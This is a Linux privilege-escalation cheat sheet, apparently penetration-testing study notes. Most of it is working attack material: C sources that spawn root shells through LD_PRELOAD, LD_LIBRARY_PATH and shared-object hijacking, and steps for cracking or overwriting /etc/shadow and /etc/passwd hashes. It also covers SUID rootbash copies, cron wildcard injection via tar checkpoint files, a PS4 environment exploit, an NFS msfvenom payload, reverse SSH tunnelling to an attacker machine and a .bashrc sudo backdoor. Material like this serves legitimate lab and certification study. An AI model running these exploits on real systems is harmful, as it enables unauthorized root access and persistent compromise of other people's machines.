Linux

1. Check user (id, whoami)

2. Run Linux Smart Enumeration with increasing levels.

3. Run LinEnum & other scripts as well

4. Manual command --> https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Strategy: Spend some time and ead over the result of the enumeration

If lse.sh level 0 or 1 finds something interesting, make a note.

Avoid rabbit holes by creating a checklist of things need for the priv esc method to work.

have a quick look around for files in user's home, and other common locations (/var/backup, /var/logs and history file)

first method to try --> sudo, cron jobs, SUID files.

check at root process, enumerate their versions and search for exploits.

ps aux |grep "^root"

check internal port that might be able to forward to attacking machine.

stuck?

re-read full enumeration dumps and highlight anything that seems odd.

process or file name aren't familiar, an "unusual" filesystem config, a username.

still havn't the root?

Do kernel exploit.

Services Exploits

Services Running as Root

• check all the process running as root

ps aux |grep "^root"

• Identify the version number of the program

<program name> --version
<program name> -v

# debian-like distributions
dpkg -l |grep <program>

# system with rpm
rpm -qa |grep <program>

Search the service and version in the exploit-db.com

Enum with tools

./lse.sh -l 1 -i

Internal Port

check port

netstat -nl

Port forwarding with ssh

# Port forwarding
# execute from victim machine
ssh -R -N <kali-port>:127.0.0.1:<service-port> root@<kali-machine>

the service port on the victim machine, now available for <kali port> in loopback of the kali machine.

Weak File Permissions

Readable /etc/shadow

ls -l /etc/shadow

head -n 1 /etc/shadow
# root:$6$....:<some_number>:0:<some_number>::::

Copy the hash to the Kali linux as root.hash

crack the hash

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt root.hash

switch to root user

su root

Writable /etc/shadow

ls -l /etc/shadow

# generate hash in kali machine
mkpasswd -m sha-512 hacker

$6$Sh5mBjhr.eh2KnGy$nUq1Fkml/2hkcSJm4lp0WJh2FHnBiqSCaaVneRlzP8SjhNA09J6zyoU7QuPTWRyLuCIkAJ8yEAb4To/T8M2Yy/

Then replace the root hash in /etc/shadow with new hash.

Login to root using hacker as password.

Writable /etc/passwd

The root account in /etc/passwd is usually configured like this:

root:x:0:0:root:/root:/bin/bash

the x in the second field mean that linux must look for the password hash in the /etc/shadow file.

in some versions of linux, it is possible to simply delete the "x", and linux interprets as the user having no password:

root::0:0:root:/root:/bin/bash

or generate the hash password to replace the "x"

openssl passwd "hacker"

result:

$1$G1OJ5iRg$OEQjGRHROPJIxg5YVAYS91

replace the "x" with new hash.

Readable Backups

a user may have created insecure backups of these files.

It is always worth exploring the file system looking fo readable backup files. some common places include user home dir, the / (root) dir, /tmp, and /var/backups.

if you can read the backup of ssh key (private key), it is a good one.

check this first before using the ssh key to login as root.

grep PermitRootLogin /etc/ssh/sshd_config
# PermitRootLogin yes

It indicate you could ssh to machine as root.

Next, copy the key to the kali machine.

then give the permission:

chmod 600 root_key

login ssh with the key

ssh -i root_key root@<ip>

Sudo

# useful command

# run a program using sudo
sudo <program>

# run a program as a specific user
sudo -u <username> <program>

# list program a user is allowed (and disallowed) to run:
sudo -l

Know the user's password & sudo unrestricted

sudo su
# give user's password

# other method
sudo -s
sudo -i
sudo /bin/bash
sudo passwd

Shell Escape Sequences

lse.sh -l 1 -i
or
sudo -l

check the program which able to run without password as sudo. And search to gtfobins to get root shell.

gtfobins.github.io

Abusing Intended Functionality

If you can't see in the grfobins try to abusing the functionality to read/write a file and combine with other technique.

example: apache2

sudo apache2 -f /etc/shadow

LD_PRELOAD

requirements: program could run by sudo in sudo -l

env_keep+=LD_PRELOAD

identification:

preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}

compile the preload

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

now run any allowed program running with sudo (sudo -l).

example: find

sudo LD_PRELOAD=/tmp/preload.so find

LD_LIBRARY_PATH

env variable contains a set of directories where shared libraries are searched for first. print shared libraries --> ldd /usr/sbin/apache2.

exploit: create a shared library with the same name as one used by a program, and setting LD_LIBRARY_PATH to its parent directory, the program will load our shared library instead.

Identification:

pick shared library in the program (eg: libcrypt.so.1)

create a c script called libarary_path.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

comple the script:

# try this first
gcc -Wall -fPIC -c -o libcrypt.o library_path.c
gcc -shared -o libcrypt.so.1 librcypt.o

# or use this command below
gcc -o libcrypt.so.1 -shared -fPIC library_path.c

set LD_LIBRARY_PATH to current directory:

sudo LD_LIBRARY_PATH=. apache2

If there is error like this:

"symbol gpgrt_lock_lock version <snip> ... <snip> not define"

you need to specify the variable first.

Backdooring LD_PRELOAD and LD_LIBRARY_PATH :

modified the file .bashrc with this additional line

alias sudo="sudo LD_PRELOAD=/tmp/preload.so"

then run this command to update .bashrc

source .bashrc

Cron Jobs

Note:

for checking live cron job use pspy --> https://github.com/DominicBreuker/pspy

default using /bin/sh

location of crontabs --> /var/spool/cron/ or /var/spool/cron/crontabs/

the system-wide crontab is located at /etc/crontab

File Permission

If we can write to a program or script which gets run as part of a cron job, we can replace it with our own code.

Put a reverse shell or rootbash.

PATH Environment Variable

The crontab PATH env is by default set to /usr/bin:/bin

If a cron job program/script doesn't use an absolute path, and one of the PATH dir is writable by our user, we may able to create a program/script with the same name as the cron job.

example:

cat /etc/crontab

sample script:

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

execute the rootbash

/tmp/rootbash -p

Wildcards

if crontab execute a command with * (wildcards) mean all file in directory. you can put a command as a file name.

# example for tar program
# tar czf /tmp/backup.tar.gz *

check program in the gtfobins for command to spawn a shell

In the picture above, it mean we need to injec command "--checkpoint=1 --checkpoint-action=exec=/bin/sh"

so create a fake file with that command.

touch ./--checkpoint=1
touch ./--checkpoint-action=exec=shell.elf

generate shell.elf with msfvenom --> here

SUID SGID

SUID --> files get executed with the privileges of the file owner.

SGID --> files get executed with the privileges of the file group.

If the file owned by root, it gets executed with root privileges, and we may able to escalate privileges.

SUID

find / -perm -u=s -exec ls -la {} + 2>/dev/null

SGID

find / -perm -g=s -exec ls -la {} + 2>/dev/null

SUID + SGID (sometimes error):

find / -type f -a ( -perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

search in gtfobins for uncommon binaries.

Known Exploits

Identification

lse.sh -l 1 -i | more

search: Uncommon setuid binaries

then enum the version and search in searchsploit or exploit db

Shared Object Injection

When a program is executed, it will try to load the shared objects it requires. using program "strace", could track the system calls and determine whether any shared object were not found.

Important note: Must have access to write to the location the program tries to open, It needed to create a shared object and spawn a root shell when it is loaded.

example: /usr/local/bin/suid-so

strace /usr/local/bin/suid-so |grep -iE "open|access|no such file"

example output: search the directory which writable for current user.

libcalc.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {

setuid(0);
system("/bin/bash -p");
}

compile

gcc -shared -fPIC -o libcalc.so libcalc.c

then re run the program

/usr/local/bin/suid-so

PATH Environtment Variable

Finding Vulnerable Program which running other program.

# check a file 
strings file

# check a command in a program
strace -v -f -e execve <command> 2>&1 |grep exec
#example: strace -v -f -e execve /usr/local/bin/suid-env 2>&1 |grep service

# when the service command not have an absolute PATH, it could be injectable.


#check with ltrace
ltrace <command>

example inject the service command:

service.c

int main() {
    setuid(0);
    system("/bin/bash -p");
}

compile

gcc -o service service.c

execute command again, to get shell.

PATH=.:$PATH /usr/local/bin/suid-env

How about if the command use an absolute path?

but the /bin/sh and /bin/bash is version < 4.2-048, then it is possible to define user function with an absolute path name.

These functions can be exported so that subprocesses have access to them, and function can take over the actual executable being called.

example: the command call other program with /usr/sbin/service

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

then execute the command again.

How about if the command use an absolute path?

and run another program via bash (by using system())

note: In bash version 4.4 and above, the PS4 env is not inherited by shells running as root.

work on bash version < 4.4

strace -v -f -e execve /usr/local/bin/suid-env 2>&1 |grep apache

example : /bin/bash --version --> 4.1.5

env -i SHELLOPTS=xtrace PS4='<test>' /usr/local/bin/suid-env

# get the root
env -i SHELLOPTS=xtrace PS4='cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' <program>

Password & keys

try reuse password, weak password storage .

look at config file

If the root user re-used their password for a service, that password may be found and used to switch to the root user.

History Files

cat .*history |less

Config Files

interesting files:

• ovpn files

NFS

NFS shares are configured in the /etc/exports file.

Remote users can mount shares, access, create, modifiy files.

By default, created files inherit the "remote" user's id and group id (as owner and group respectively), even if they don't exist on the NFS server.

Useful command:

showmount -e $IP

nmap -sV --script=nfs-showmount $IP

# mount an NFS shares:
mount -o rw,vers=2 $IP:<share> /mnt

Root Squashing

Root squashing is how NFS prevents an obvious privilege escalation. If the remote user is (or claims to be) root (uid=0), NFS will instead "squash" and treat as "nobody" user, in the "nogroup" group. (default configuration)

no_root_squash

cat /etc/exports
# /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

mkdir /tmp/nfs
mount -o rw,vers=2 $IP:/tmp /mnt/nfs

generate shell (must as root in the kali machine)

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

Kernel Exploits

1. Enumerate kernel version (uname -a)

2. Find matching exploit (Google, Exploit-DB, Github)

3. Compile and run

searchsploit

searchsploit linux kernel <version> priv esc

use linux-exploit-suggester-2

./linux-exploit-suggester-2.pl -k <kernel version>